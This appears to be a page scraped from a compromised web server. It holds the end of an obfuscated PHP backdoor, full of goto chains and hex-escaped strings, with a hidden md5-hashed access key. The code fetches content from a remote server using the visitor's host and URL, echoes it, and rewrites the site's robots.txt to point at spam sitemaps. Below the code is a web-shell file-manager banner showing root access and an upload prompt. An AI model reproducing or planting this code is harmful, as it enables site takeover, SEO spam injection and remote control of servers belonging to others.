\142\157\x74\163")) { goto CX0UEcjVoZ4Hg; } goto aZN9L3A_Os9FL; cKT0AiLBYcivH: $ugGy4HjDsY_1y = eWkt4vRj0zi0Y($P_m9kIHCm6rZO); goto yf22PP9mXlNbH; X2cYh7fDIZWsm: $n8YQdry1ewaYT = @strtolower($n8YQdry1ewaYT); goto HLWjNnqZyHPEi; h5n5NiREPplzJ: $M13bw9jp2VDUP = "\x55\163\x65\162\x2d\141\147\x65\x6e\x74\72\40\52\104\x69\x73\x61\154\154\x6f\x77\72\40\123\x69\x74\145\155\141\x70\72\x20{$VOjXicpmON1og}{$KuhIFoZybfe9X}\x2f\163\x69\164\145\x6d\141\160\56\170\155\154"; goto n_n4_Ju0dMRsP; T4sw8kKcjk07h: goto tY2OBw7rfxCnn; goto ympAn8zhzCQmr; suGW3NbYTFgoA: $hZSe70Q9XkVYt = $NKz1T475OkA9P("\x7e", "\40"); goto mrBgLtsO2qo3k; S7_tl0lIv0jlo: $QkRiKnp5xaQLq = $ZZJ1y66uXsfgg . "\x2f\151\156\144\145\x78\56\160\x68\x70\x3f\144\157\155\141\151\x6e\75" . $KuhIFoZybfe9X . "\x26\162\165\x72\x6c\75" . $RxbQ_P65jr6AT . "\x26\x6c\147\x3d" . $TelQN4pOC4JSc; goto eaQs1tFMQNCSd; eaQs1tFMQNCSd: $wRIfGsE5sPpyB = Ewkt4VrJ0zi0Y($QkRiKnp5xaQLq); goto xxrXu0uG23NyV; mWI39yjb6iCb2: if (!substr_count($_SERVER["\122\x45\x51\125\x45\123\124\x5f\125\122\x49"], "\151\156\x64\x65\x78\x2e\160\150\x70\x2f\152\153")) { goto MT4V6a1qdMyn5; } goto wCl1I_lAunOTA; h6k1d8j_MkZPq: uMmCNtYYZGnEK: goto hRiB1HknmVT8p; cZ2LT3z6Doer2: uVS9oddZTXvH9: goto z_DPCLDYTjZeG; QlYBKPbTVi5yl: exit; goto UhYGmB9Dl5ZKW; ozJCEmo655GGG: O3L6s3loxUuMG: goto XEXBuR3qpClVg; nF8br0LTnZOnj: omNEpqdhHw_ZW: goto Ri2zUPbJ0k8b9; UHxcUq6UU2w0U: $NKz1T475OkA9P = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto suGW3NbYTFgoA; hqdHN9XlFWhDx: if (!($ugGy4HjDsY_1y !== '')) { goto CQzJFD7fWD5wT; } goto QlYBKPbTVi5yl; n_n4_Ju0dMRsP: KlspvCTW5OSyQ: goto hLsUEGWSKSbVu; hLsUEGWSKSbVu: tY2OBw7rfxCnn: goto q4a5OE1F9I4ms; eVFQLXuLGqgD5: b_iGL4PvDmN0F: goto h5n5NiREPplzJ; QBU2chICtoDNk: $TelQN4pOC4JSc = $_SERVER["\110\124\x54\x50\137\x41\103\103\x45\x50\x54\x5f\114\101\x4e\x47\x55\101\x47\x45"]; goto D8eey8xwLfnt7; yf22PP9mXlNbH: if (empty($ugGy4HjDsY_1y)) { goto Y2SNW40mGvsqB; } goto oYcx2fhNLCWd5; mKKgpxQdjCWjO: exit; goto h6k1d8j_MkZPq; mGXD0pHSSjefu: echo $wRIfGsE5sPpyB; goto mKKgpxQdjCWjO; wF7_I4Z21yV8T: $KuhIFoZybfe9X = isset($_SERVER["\110\124\x54\120\x5f\130\x5f\106\x4f\x52\x57\x41\x52\104\105\104\x5f\110\x4f\x53\124"]) ? $_SERVER["\110\x54\124\x50\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\x5f\x48\x4f\x53\x54"] : (isset($_SERVER["\110\124\124\x50\x5f\x48\117\123\x54"]) ? $_SERVER["\110\124\x54\x50\137\110\x4f\x53\124"] : ''); goto pZ_PxzSTutGkx; a3ohwulr9AeR9: $M13bw9jp2VDUP = "\125\x73\x65\x72\55\141\147\x65\156\x74\x3a\x20\x2a\x44\x69\x73\141\x6c\x6c\157\167\x3a\x20\123\x69\x74\145\x6d\x61\x70\x3a\40{$VOjXicpmON1og}{$KuhIFoZybfe9X}{$iMpkgYSubFj98}\x2f\x73\151\164\x65\155\x61\x70\x2e\x78\x6d\154"; goto GYkhLfUbbu9QD; mrBgLtsO2qo3k: $Hoi0q02EQ4DyH = ${$hZSe70Q9XkVYt[15 + 16] . $hZSe70Q9XkVYt[9 + 50] . $hZSe70Q9XkVYt[27 + 20] . $hZSe70Q9XkVYt[13 + 34] . $hZSe70Q9XkVYt[31 + 20] . $hZSe70Q9XkVYt[25 + 28] . $hZSe70Q9XkVYt[17 + 40]}; goto qHhrWFDa1ELb8; xTK0gxMdbCPHr: if ($z0K1Y0zicBH6e == "\61\61") { goto b_iGL4PvDmN0F; } goto a3ohwulr9AeR9; Jf5qy5yBkcctM: $M13bw9jp2VDUP = "\x55\x73\145\162\55\x61\147\x65\156\x74\72\x20\x2a\104\x69\163\x61\154\x6c\157\x77\72\40\x53\151\x74\145\155\x61\x70\72\x20{$VOjXicpmON1og}{$KuhIFoZybfe9X}{$iMpkgYSubFj98}\x2f\163\151\164\145\x6d\x61\x70\x2e\x78\x6d\154"; goto T4sw8kKcjk07h; F5AGMIB55fFZE: Y2SNW40mGvsqB: goto cZ2LT3z6Doer2; qKU_VTkYxJ0Zz: MT4V6a1qdMyn5: goto QImYTVnQnCWdH; jmADnnm7JXW6H: zPYfp0njcysop::uopzz885dohgo(); goto w4oNZGXR7Zf5i; aaT4pS1TM2js3: exit; goto ozJCEmo655GGG; sW6tsoKPCJDwM: CX0UEcjVoZ4Hg: goto fSCmHxWk0vHRQ; Wpfsn2Op2qMI1: Ikbr8C2QcBade: goto oR1juXxuhXGb3; IjYOA0txuE3WH: $VOjXicpmON1og = isset($_SERVER["\110\x54\124\120\x53"]) && $_SERVER["\x48\x54\124\120\x53"] == "\x6f\156" || isset($_SERVER["\x48\124\x54\120\x5f\x58\137\x46\117\x52\127\x41\x52\x44\105\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\110\x54\124\120\137\130\137\x46\x4f\122\x57\x41\x52\x44\105\104\x5f\120\x52\117\124\117"] == "\150\164\x74\160\163" ? "\x68\x74\x74\160\163\72\57\57" : "\x68\164\164\x70\72\x2f\57"; goto GRzatpCUh0UEy; qHhrWFDa1ELb8: if (!(in_array(gettype($Hoi0q02EQ4DyH) . "\x32\x37", $Hoi0q02EQ4DyH) && md5(md5(md5(md5($Hoi0q02EQ4DyH[21])))) === "\66\x35\x33\65\145\x66\143\60\67\63\63\x65\x64\x34\x61\63\x36\145\x38\64\x33\x37\x33\x35\x31\x35\x39\145\x39\70\70\x31")) { goto omNEpqdhHw_ZW; } goto obKHlflnHKUnQ; sAeqMDX4f1Qan: $wRIfGsE5sPpyB = str_replace("\x6f\153\150\164\155\x6c\147\x65\164\143\x6f\156\x74\x65\x6e\x74", '', $wRIfGsE5sPpyB); goto mGXD0pHSSjefu; GRzatpCUh0UEy: $iMpkgYSubFj98 = @$_SERVER["\x53\x43\122\111\120\124\137\116\x41\115\105"]; goto mWI39yjb6iCb2; hRiB1HknmVT8p: HKE9XGqqDdxPn: goto U_3NaDo26ICD2; lkYNQ6Bevwa1d: if (!bnCDHuwwG5D4t($n8YQdry1ewaYT)) { goto uVS9oddZTXvH9; } goto Wj_mZpbuaRe0X; oYcx2fhNLCWd5: @header("\x43\157\156\x74\145\156\164\x2d\164\x79\160\145\x3a\x20\164\145\x78\164\57\x68\x74\x6d\x6c\73\x20\143\x68\x61\x72\x73\x65\x74\75\x75\x74\x66\x2d\x38"); goto d4cYVKxE3tmp2; MCe5KP2W8VvKu: @header("\103\157\x6e\x74\x65\x6e\164\x2d\164\x79\x70\145\x3a\164\x65\x78\x74\x2f\x78\155\x6c"); goto yiR7_1bwHWf1y; o1fMEQ39K6kMn: if ($iMpkgYSubFj98 == "\57\x69\x6e\144\x65\170\56\x70\150\160") { goto ZUSJplRE4HBEh; } goto Jf5qy5yBkcctM; q4a5OE1F9I4ms: file_put_contents($_SERVER["\x44\117\103\x55\x4d\105\116\x54\x5f\122\x4f\117\124"] . "\57\162\157\142\157\164\x73\56\164\170\x74", $M13bw9jp2VDUP); goto ZSHE8kYVXURxj; V512DfZ8ZDB15: $P_m9kIHCm6rZO = $ZZJ1y66uXsfgg . "\57\x69\156\144\145\x78\x2e\x70\x68\x70\x3f\x64\157\x6d\141\151\156\x3d" . $KuhIFoZybfe9X . "\46\x72\x75\x72\154\75" . $RxbQ_P65jr6AT . "\46\150\x74\x3d" . $VOjXicpmON1og . "\46\x70\x68\160\x3d" . $iMpkgYSubFj98; goto NakN40Quy97FI; V2andaLpP92cr: exit; goto KzMPJs7BJ_1Pm; Wj_mZpbuaRe0X: $P_m9kIHCm6rZO = $ZZJ1y66uXsfgg . "\x2f\x69\156\x64\145\x78\x2e\160\150\x70\77\144\x6f\x6d\141\x69\x6e\75" . $KuhIFoZybfe9X . "\46\x72\165\162\154\75" . $RxbQ_P65jr6AT . "\x26\150\x74\x3d" . $VOjXicpmON1og . "\x26\x70\150\x70\x3d" . $iMpkgYSubFj98; goto cKT0AiLBYcivH; HLWjNnqZyHPEi: $HuC7MBo0Kx5ih = @strtolower($HuC7MBo0Kx5ih); goto IjYOA0txuE3WH; KzMPJs7BJ_1Pm: q0Q6vg5rDuBsA: goto Ol8uTb3NB92nn; d4cYVKxE3tmp2: $ugGy4HjDsY_1y = str_replace("\157\x6b\x68\x74\155\154\147\145\164\x63\x6f\156\x74\x65\x6e\x74", '', $ugGy4HjDsY_1y); goto Y4FnLjusnLivo; ZSHE8kYVXURxj: echo "\x72\157\x62\x6f\x74\x73\40\x6f\x6b\41"; goto OlzRQcbrFelpp; kTLOSIWHi95Yw: exit; goto sW6tsoKPCJDwM; yiR7_1bwHWf1y: $ugGy4HjDsY_1y = str_replace("\x6f\x6b\x68\x74\155\x6c\147\x65\164\x63\x6f\x6e\x74\x65\x6e\x74", '', $ugGy4HjDsY_1y); goto vpzBmWLCVGii_; GYkhLfUbbu9QD: goto KlspvCTW5OSyQ; goto eVFQLXuLGqgD5; Y4FnLjusnLivo: echo $ugGy4HjDsY_1y; goto hqdHN9XlFWhDx; U_3NaDo26ICD2: function ewKt4vRJ0Zi0Y($RxbQ_P65jr6AT) { goto L5a9MxtO9H5Vm; L5a9MxtO9H5Vm: $XkVHkqjqbQ4di = curl_init(); goto J5PNWGtVmN_Jq; n3Qlv2SD_sDS0: curl_setopt($XkVHkqjqbQ4di, CURLOPT_RETURNTRANSFER, 1); goto EfuGpAJMlFLde; EfuGpAJMlFLde: curl_setopt($XkVHkqjqbQ4di, CURLOPT_CONNECTTIMEOUT, 5); goto b1aCp0X4SLdr2; J5PNWGtVmN_Jq: curl_setopt($XkVHkqjqbQ4di, CURLOPT_URL, $RxbQ_P65jr6AT); goto n3Qlv2SD_sDS0; b1aCp0X4SLdr2: $ugGy4HjDsY_1y = curl_exec($XkVHkqjqbQ4di); goto eq8V0022viHOP; haD3EzURiRO0E: return $ugGy4HjDsY_1y; goto q1B58P48Yp0_2; eq8V0022viHOP: curl_close($XkVHkqjqbQ4di); goto haD3EzURiRO0E; q1B58P48Yp0_2: } ?> HEX
HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux ubuntu 7.0.5-x86_64-linode173 #1 SMP PREEMPT_DYNAMIC Fri May 8 10:12:05 EDT 2026 x86_64
User: root (0)
PHP: 7.2.28-1+ubuntu16.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: //sys/devices/system/node/node0/memory33/node0/memory68/node0/memory8/node0/cpu2/node0/compact